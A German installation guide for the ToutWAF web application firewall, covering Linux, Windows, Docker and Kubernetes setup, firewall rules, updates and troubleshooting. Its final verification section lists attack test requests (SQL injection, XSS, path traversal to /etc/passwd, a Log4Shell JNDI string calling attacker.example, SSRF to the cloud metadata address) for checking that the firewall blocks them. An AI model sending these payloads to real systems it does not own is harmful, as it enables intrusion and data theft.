ToutWAF Schritt für Schritt installieren

Zum Kopieren und Einfügen: Anleitungen für AlmaLinux 10, andere Linux-Distributionen, Windows, Docker und Kubernetes. Native Binaries: keine Laufzeitumgebung nötig. Danach Assistent ausführen, DNS umstellen und prüfen.

Welche Version Sie installieren

Die öffentliche Version ist eine Entwicklungsversion mit dem Namen 0.3.0-dev. Ihr Name bleibt gleich: Jede Veröffentlichung ersetzt die vorherige, und eine Build-Kennung unterscheidet zwei Builds. Eine stabile Version gibt es noch nicht: Sie wird erst veröffentlicht, wenn jedes System und jedes Paket durchgängig getestet wurde. Die Befehle auf dieser Seite installieren deshalb aus dem Kanal dev. Eine Entwicklungsversion kann Fehler enthalten: Probieren Sie sie auf einer Test-Site aus, bevor Sie sich darauf verlassen.

Voraussetzungen

Ein 64-Bit-Server (amd64 oder arm64) mit Linux oder Windows, Root- oder Administratorzugriff und freie Ports 80 und 443. Die Konsole lauscht auf Port 9443 unter einem geheimen Pfad. Die Details zu Voraussetzungen und Abhängigkeiten stehen direkt darunter.

Voraussetzungen und Abhängigkeiten

Was Ihr Server braucht, was der Installer hinzufügt und was optional bleibt.

Unterstützte Systeme

Linux mit systemd 239 oder neuer und glibc 2.28 oder neuer, auf amd64 oder arm64: AlmaLinux, Rocky Linux, RHEL und Oracle Linux 8 bis 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian 11 bis 13, Ubuntu 20.04 bis 26.04, openSUSE und Arch (vollständige Tabelle unten). Windows 10, 11 und Server 2016 bis 2025 (noch nicht auf einem echten Windows-Host ausgeführt). Der Installer prüft Ihr System, bevor er etwas ändert. Server, die Sie aus der Konsole hinzufügen: Den Host-Agenten gibt es für Linux (amd64, arm64) und Windows (amd64).

Netzwerk-Ports

80 und 443: Web-Verkehr (Data Plane). 9443: Konsole (änderbar mit --cp-port). 9444: API für Data-Plane-Knoten und Server-Agenten; der Installer öffnet sie nicht, geben Sie sie nur von Ihren eigenen Servern frei. 127.0.0.1:9101: lokaler Health-Endpunkt. UDP 443 bleibt geschlossen (HTTP/3 ist nicht implementiert). Server-Agenten bauen nur ausgehende Verbindungen zu Port 9444 auf.

Was der Installer tut

Benötigt Root- oder Administratorrechte und ausgehendes HTTPS, um die Version herunterzuladen. Installiert curl, tar und libcap, falls sie fehlen (und policycoreutils-python-utils auf SELinux-Systemen), legt einen unprivilegierten Benutzer toutwaf und ein einziges Installationsverzeichnis an (/var/toutwaf mit bin, conf, data und logs; --home DIR ändert es, und eine ältere Installation behält ihre Pfade), installiert gehärtete systemd-Dienste (Windows-Dienste unter Windows), erlaubt dem Data Plane die Ports 80 und 443 ohne Root, öffnet die Firewall standardmäßig, wenn firewalld oder ufw aktiv ist (80, 443 und der Konsolenport; --console-from beschränkt die Konsole, --no-firewall schaltet es ab), setzt SELinux-Labels und prüft SHA-256-Summen.

Sprache des Installers

Standardmäßig Englisch; der Installer erkennt die Systemsprache. Erzwingen Sie eine mit --fr --de --es --it --pt --nl --ru --zh --ar oder --en (Windows: -Fr usw. oder die Variable TOUTWAF_LANG).

Eigenständige Binärdateien

Der Data Plane ist in Rust geschrieben, Control Plane und Agent in Go, die Konsole ist in den Control Plane eingebettet. Keine Python-, Node.js- oder Java-Laufzeit und kein Datenbankserver nötig: Die Daten liegen in SQLite. Der Rust-Data-Plane benötigt glibc 2.28 oder neuer. Wichtigste Drittkomponenten: tokio, hyper und rustls (Rust), Svelte und xterm.js (Konsole).

Optionale Komponenten

ClamAV für Virenscans auf Linux-Hosts (die Konsole kann es für Sie installieren); Microsoft Defender unter Windows. openssl nur, wenn Sie die Signaturprüfung der Versionen aktivieren, cosign nur, wenn Signaturen damit geprüft werden sollen. Docker ist nicht nötig: Die Docker- und Kubernetes-Manifeste sind alternative Bereitstellungswege.

ToutPanel (Webhosting-Server)

Wird über SSH aus der Konsole oder mit eigenem Installer installiert. Linux: Debian 11 bis 13, Ubuntu 20.04 bis 24.04, AlmaLinux, Rocky Linux und RHEL 9 und 10, Fedora ab 40. Windows 10 und 11, Windows Server 2016 bis 2025. Benötigt root und bash (Linux) bzw. eine PowerShell 5.1+ als Administrator (Windows), Python 3.9 bis 3.14 (vom Skript installiert, wenn die Distribution es bietet), mindestens 1 GB RAM (2 GB empfohlen mit MariaDB und PHP), 2 GB freien Speicher plus Ihre Sites und ausgehendes HTTPS. Das Panel lauscht standardmäßig auf Port 8888; die Ports 80 und 443 bedienen die Sites. Quelle: das ToutPanel-README.

ToutWAF veröffentlicht noch keine Mindestwerte für CPU, RAM oder Speicher: Dimensionieren Sie Ihren Server mit einem Test auf Ihrem eigenen Traffic.

Unterstützte Systeme

Vom Installer geprüft, bevor er etwas ändert. Die Status stammen aus den eigenen Daten des Installers.

  • tested Der vollständige Container-Installationstest wurde auf genau dieser Version bestanden.
  • expected Gleiche Familie, ausreichend neue glibc und systemd, aber der vollständige Test wurde nicht ausgeführt.
  • unsupported Vor jeder Änderung abgelehnt (auf eigene Gefahr mit --skip-os-check übergehbar).
amd64supportedarm64supportedarm32unsupported
DistributionVersionen
AlmaLinux10tested9tested8tested
Rocky Linux10tested9tested8tested
Red Hat Enterprise Linux10tested9tested8tested7unsupported
CentOS Stream10tested9tested8unsupported7unsupported
Oracle Linux10tested9tested8tested7unsupported
Fedora44tested43tested42tested41tested
Amazon Linux2023tested2unsupported
Debian13tested12tested11tested10unsupported
Ubuntu26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported
Linux Mint / LMDEalle Versionenexpected
Pop!_OSalle Versionenexpected
Zorin OSalle Versionenexpected
elementary OSalle Versionenexpected
Kali Linuxrollingexpected
Raspberry Pi OS (32-bit, Raspbian)alle Versionenunsupported
Devuanalle Versionenunsupported
openSUSE Leap16.0tested15.6tested
openSUSE Tumbleweedrollingtested
openSUSE Slowrollrollingexpected
SUSE Linux Enterprise Server16.0expected15.7expected15.6expected
SUSE Linux Micro / MicroOS / Aeonalle Versionenunsupported
openSUSE MicroOS / Aeon / Kalpaalle Versionenunsupported
Arch Linuxrollingtested
Manjarorollingexpected
EndeavourOSrollingexpected
Garuda Linuxrollingexpected
CachyOSrollingexpected
Artix Linuxalle Versionenunsupported
Alpine Linuxalle Versionenunsupported
Void Linuxalle Versionenunsupported
NixOSalle Versionenunsupported
WindowsWindows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected
Prüfen ohne Installation: sudo bash install.sh --check-compat (Windows: -CheckCompat). Der Exit-Status ist 0 bei Kompatibilität, sonst 3. Um auf einem nicht unterstützten System auf eigene Gefahr weiterzumachen, nutzen Sie --skip-os-check: Das geschieht nie stillschweigend und übergeht nicht die Ablehnung von 32-Bit-ARM.
Raspberry Pi und andere arm64-Server: Raspberry Pi 3, 4, 5 und Zero 2 W brauchen ein 64-Bit-OS (Raspberry Pi OS 64-Bit, Ubuntu oder Debian arm64). Der arm64-Build lief nur unter Emulation, nie auf echter Hardware, und es gibt keinen Benchmark. 32-Bit-ARM wird abgelehnt.
Windows 10 (1809 und neuer), 11 und Server 2016 bis 2025 sind expected: Der Windows-Installer wurde nicht auf einem echten Windows-Host ausgeführt. Der Windows-ARM64-Build wurde nur cross-kompiliert und nie ausgeführt.
Docker: Das All-in-one-Image wurde nur auf Linux amd64 getestet. Macs mit Apple Silicon und Intel sind ungetestet, natives macOS wird nicht bereitgestellt.

Der Einrichtungsassistent: von null zur geschützten Site

Beim ersten Start führt Sie der Web-Assistent von null zu einer geschützten Site, im Erkennungsmodus und ohne etwas kaputt zu machen.

Domain und Origin

Geben Sie die öffentliche Domain und die Adresse Ihres Servers ein.

Automatisches Zertifikat

Ein Zertifikat der von Ihnen gewählten Zertifizierungsstelle (standardmäßig Let's Encrypt) wird für Sie angefordert und erneuert.

Stack-Erkennung

ToutWAF erkennt WordPress, Laravel, Django und mehr.

Richtlinienvorlage

Eine passende Vorlage wird vorgeschlagen. Prüfen Sie sie oder behalten Sie den Standard.

Erkennungsmodus

Der Verkehr wird einige Tage ohne Blockieren analysiert, danach wird ein Bericht erstellt.

Auf Blockieren umschalten

Ein Klick zum Durchsetzen, ein Klick zum Zurückrollen.

Erkennungsbericht nach 7 Tagen (Beispiel)
  • ✓99,8 % des Verkehrs würden erlaubt
  • !3 Regeln verursachen 95 % der Fehlalarme
  • ✓3 Ausnahmen vorgeschlagen, bereit zur Prüfung

System aktualisieren und Voraussetzungen installieren

bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Mit dem Einzeiler-Installer installieren

Das Skript lädt die nativen Binaries für Ihre Architektur herunter, legt einen dedizierten unprivilegierten Benutzer an und installiert die gehärteten systemd-Dienste toutwaf-dp (Data Plane, Ports 80 und 443) und toutwaf-cp (Control Plane und Konsole, Port 9443). Anschließend zeigt es Ihre Erstanmeldedaten an.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Lieber das Skript zuerst lesen?

Herunterladen, prüfen, dann ausführen. Empfohlen für Produktionsserver.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Installer-Optionen

Eine neue Installation liegt in einem einzigen Verzeichnis, /var/toutwaf (bin, conf, data und logs; änderbar mit --home DIR oder TOUTWAF_HOME), und die Kommandozeilenwerkzeuge werden nach /usr/local/bin verlinkt. Eine ältere Installation behält ihre eigenen Pfade (/etc/toutwaf, /var/lib/toutwaf) und wird nie verschoben.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Firewall öffnen

Der Installer öffnet diese Ports standardmäßig, wenn firewalld oder ufw aktiv ist: 80 und 443 sowie den Konsolenport 9443 (mit --console-from auf Ihr Admin-Netz beschränken). Der Agent-Port 9444 wird nie öffentlich geöffnet. Diese Befehle brauchen Sie nur mit --no-firewall, bei einer anderen Firewall oder für die manuelle Einrichtung.

firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-all

SELinux

Lassen Sie SELinux im Enforcing-Modus. Beschriften Sie die ToutWAF-Verzeichnisse und achten Sie darauf, dass keine AVC-Ablehnung protokolliert wird.

selinux
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recent

Dienste verwalten

Beide Dienste starten beim Booten. Mit diesen Befehlen starten, stoppen oder neu starten Sie sie.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Dienste prüfen

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Aktualisieren

Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Deinstallieren

Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

System aktualisieren und Voraussetzungen installieren

Rocky Linux, RHEL 8 bis 10 und andere Enterprise-Linux-Klone verwenden dieselben Befehle wie AlmaLinux. Folgen Sie nach der Installation den firewalld- und SELinux-Schritten im Tab AlmaLinux 10.
bash
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utils

Mit dem Einzeiler-Installer installieren

Das Skript lädt die nativen Binaries für Ihre Architektur herunter, legt einen dedizierten unprivilegierten Benutzer an und installiert die gehärteten systemd-Dienste toutwaf-dp (Data Plane, Ports 80 und 443) und toutwaf-cp (Control Plane und Konsole, Port 9443). Anschließend zeigt es Ihre Erstanmeldedaten an.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Lieber das Skript zuerst lesen?

Herunterladen, prüfen, dann ausführen. Empfohlen für Produktionsserver.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Installer-Optionen

Eine neue Installation liegt in einem einzigen Verzeichnis, /var/toutwaf (bin, conf, data und logs; änderbar mit --home DIR oder TOUTWAF_HOME), und die Kommandozeilenwerkzeuge werden nach /usr/local/bin verlinkt. Eine ältere Installation behält ihre eigenen Pfade (/etc/toutwaf, /var/lib/toutwaf) und wird nie verschoben.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Dienste verwalten

Beide Dienste starten beim Booten. Mit diesen Befehlen starten, stoppen oder neu starten Sie sie.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Dienste prüfen

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Aktualisieren

Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Deinstallieren

Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

Voraussetzungen installieren (apt)

bash
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufw

Mit dem Einzeiler-Installer installieren

Das Skript lädt die nativen Binaries für Ihre Architektur herunter, legt einen dedizierten unprivilegierten Benutzer an und installiert die gehärteten systemd-Dienste toutwaf-dp (Data Plane, Ports 80 und 443) und toutwaf-cp (Control Plane und Konsole, Port 9443). Anschließend zeigt es Ihre Erstanmeldedaten an.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash

Lieber das Skript zuerst lesen?

Herunterladen, prüfen, dann ausführen. Empfohlen für Produktionsserver.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.sh

Installer-Optionen

Eine neue Installation liegt in einem einzigen Verzeichnis, /var/toutwaf (bin, conf, data und logs; änderbar mit --home DIR oder TOUTWAF_HOME), und die Kommandozeilenwerkzeuge werden nach /usr/local/bin verlinkt. Eine ältere Installation behält ihre eigenen Pfade (/etc/toutwaf, /var/lib/toutwaf) und wird nie verschoben.

options
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24

# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf

# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel dev

Firewall öffnen (ufw)

Der Installer öffnet diese Ports standardmäßig, wenn firewalld oder ufw aktiv ist: 80 und 443 sowie den Konsolenport 9443 (mit --console-from auf Ihr Admin-Netz beschränken). Der Agent-Port 9444 wird nie öffentlich geöffnet. Diese Befehle brauchen Sie nur mit --no-firewall, bei einer anderen Firewall oder für die manuelle Einrichtung.

ufw
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw status

Dienste verwalten

Beide Dienste starten beim Booten. Mit diesen Befehlen starten, stoppen oder neu starten Sie sie.

systemd
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cp

Dienste prüfen

bash
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pager

Aktualisieren

Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.

bash
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthz

Deinstallieren

Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.

bash
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstall
purge
sudo bash install.sh --uninstall --purge

PowerShell als Administrator öffnen und den Installer ausführen

Installiert die nativen Binaries, registriert den Windows-Dienst ToutWAF für die Data Plane und eine Startaufgabe für die Konsole und öffnet die Firewall-Ports. Der Installer wurde noch nicht auf einem echten Windows-Host ausgeführt.

PowerShell (Admin)
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iex

Firewall öffnen

Der Installer öffnet diese Ports standardmäßig, wenn firewalld oder ufw aktiv ist: 80 und 443 sowie den Konsolenport 9443 (mit --console-from auf Ihr Admin-Netz beschränken). Der Agent-Port 9444 wird nie öffentlich geöffnet. Diese Befehle brauchen Sie nur mit --no-firewall, bei einer anderen Firewall oder für die manuelle Einrichtung.

PowerShell (Admin)
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action Allow

Dienste prüfen

PowerShell
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443

Aktualisieren

Konfiguration und Daten sichern und den Installer erneut ausführen: Er behält Ihre Einstellungen und macht selbst ein Rollback, wenn die neue Version nicht gesund startet. Die gezeigten Pfade gelten für eine neue Installation (/var/toutwaf); eine ältere Installation behält /etc/toutwaf und /var/lib/toutwaf. Sie können auch in der Konsole auf der Seite Updates aktualisieren.

PowerShell (Admin)
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -Yes

Deinstallieren

Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.

PowerShell (Admin)
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall
purge
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -Purge

Docker Compose auf Mac oder Linux

Docker Compose unter Linux oder auf einem Mac (Docker Desktop, OrbStack, Colima) mit dem All-in-one-Image (Control Plane und Data Plane). Die Dateien kommen mit Ihrer ToutWAF-Distribution (der Ordner deploy, der nicht im öffentlichen Repository liegt: Dieses enthält nur Binärdateien und Installer). Das Image enthält vorkompilierte Binärdateien je Architektur (bin/amd64 oder bin/arm64), und es wird noch kein Image in einer Registry veröffentlicht. Nur auf Linux amd64 getestet; auf einem echten Mac ungetestet, wo die hinter Docker Desktop sichtbare Client-IP die Docker-Gateway-Adresse ist. Die einmaligen Zugangsdaten erscheinen einmal im Log der Control Plane.

bash
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl}  (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cp

Aktualisieren (Container)

Erstellen Sie zuerst eine Sicherung. Die Update-Schaltfläche der Konsole kann in einem Container nicht funktionieren: Ersetzen Sie die Binärdateien im Ordner bin (oder das Image, sobald eines veröffentlicht ist) und bauen Sie neu; die Volumes und damit Ihre Daten bleiben erhalten.

bash
docker compose up -d --build

Deinstallieren

Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.

bash
docker compose down
purge
docker compose down -v

Mit Helm installieren

Stellt die Data Plane als Ingress bereit, auf Wunsch mit einer Control Plane im Cluster. Das Chart und die Manifeste (einschließlich Sidecar-Modus) liegen im Ordner deploy Ihrer ToutWAF-Distribution, nicht im öffentlichen Repository, das nur Binärdateien und Installer enthält. Der Operator besteht aus CRDs und einem Gerüst.

bash
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yaml

Pods prüfen und Konsole öffnen

bash
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443

Aktualisieren (Container)

Erstellen Sie zuerst eine Sicherung. Die Update-Schaltfläche der Konsole kann in einem Container nicht funktionieren: Ersetzen Sie die Binärdateien im Ordner bin (oder das Image, sobald eines veröffentlicht ist) und bauen Sie neu; die Volumes und damit Ihre Daten bleiben erhalten.

bash
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yaml

Deinstallieren

Der erste Block entfernt die Dienste, die Binaries und die von ToutWAF angelegten Firewall-Regeln und behält Ihre Daten. Der zweite löscht zusätzlich Konfiguration, Daten und Logs.

bash
helm uninstall toutwaf --namespace toutwaf
purge
kubectl delete namespace toutwaf

Nach der Installation: konfigurieren und prüfen

Erste Anmeldung

Öffnen Sie den geheimen Konsolenlink, der am Ende der Installation angezeigt wird (die Konsole antwortet nur unter diesem Pfad), und nutzen Sie den einmaligen Einrichtungslink oder das einmalig in der Zusammenfassung erzeugte Administratorpasswort. Aktivieren Sie sofort die Zwei-Faktor-Authentifizierung und legen Sie einen zweiten Administrator an, damit Sie nie ausgesperrt sind.

console
Console : https://<server>:9443/<secret-path>/   (printed by the installer)
CLI     : toutwafctl --help
Health  : http://127.0.0.1:9101/healthz   (data plane, local only)

Erste Site hinzufügen

Klicken Sie unter Sites auf Neue Site und geben Sie die öffentliche Domain und den Upstream (die echte Adresse Ihres Servers) ein. Starten Sie im reinen Erkennungsmodus und schalten Sie auf Blockieren um, sobald der Bericht sauber aussieht. Sites lassen sich auch per REST-API und API-Token anlegen.

API
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
  -H "Authorization: Bearer $TOUTWAF_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'

DNS umstellen

Senken Sie die TTL Ihrer Einträge einen Tag vorher. Richten Sie dann die A- / AAAA-Einträge der Domain auf den ToutWAF-Server. Sobald das DNS propagiert ist, wird das Zertifikat ausgestellt. Beschränken Sie die Firewall Ihres Origin so, dass nur der ToutWAF-Server ihn erreichen kann.

DNS
example.com.      300  IN  A      203.0.113.10
www.example.com.  300  IN  CNAME  example.com.
origin firewall
sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcp

Mit Testangriffen prüfen

Jede dieser Anfragen muss 403 liefern und unter Angriffe erscheinen (im Blockiermodus). Führen Sie sie nur gegen Ihre eigenen Sites aus.

Verwenden Sie in Windows PowerShell curl.exe statt curl, das ein Alias ist.
curl
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/

Fehlerbehebung

Die Konsole ist auf Port 9443 nicht erreichbar

Starten Sie den ToutWAF-Doktor auf dem Server: Er prüft Dienste, Ports und Firewall der Maschine und sagt, was zu tun ist. Er funktioniert auch über die Kommandozeile, wenn die Konsole selbst nicht erreichbar ist; eine Cloud-Sicherheitsgruppe vor dem Server muss ebenfalls Port 9443 durchlassen.

Legitime Anfragen werden blockiert (Fehlalarme)

Öffnen Sie das Ereignis unter Angriffe, lesen Sie die Erklärung und klicken Sie auf die Fehlalarm-Schaltfläche, um die engste Ausnahme zu erstellen, oder senken Sie das Paranoia-Level der Site.

502 Bad Gateway

ToutWAF erreicht Ihren Origin nicht. Öffnen Sie den ToutWAF-Doktor, Zeile „Origin-Server“: Er sagt, ob der Port die Verbindung verweigert, der Name nicht aufgelöst wird oder das Zertifikat nicht vertrauenswürdig ist, und was zu tun ist. Prüfen Sie auch die Firewall des Origin.

Die Ausstellung bei Let's Encrypt schlägt fehl

Der ToutWAF-Doktor prüft vor einer Bestellung das DNS (auch einen bei einem CDN oder Proxy vergessenen AAAA-Eintrag) und die Erreichbarkeit von Port 80. Für ein Wildcard-Zertifikat nutzen Sie die DNS-01-Challenge.

In meiner App stimmt die echte Client-IP nicht

Lesen Sie den von ToutWAF gesetzten Header X-Forwarded-For und vertrauen Sie ihm nur, wenn er von der Adresse des ToutWAF-Servers kommt.

Wo sind die Logs?

Nutzen Sie die Seiten Logs und Ereignisse der Konsole. Die Dienste schreiben außerdem in das Systemjournal der Maschine, und der Doktor erzeugt einen Textbericht, den Sie an den Support schicken können.

Weiter: die vollständige Dokumentation lesen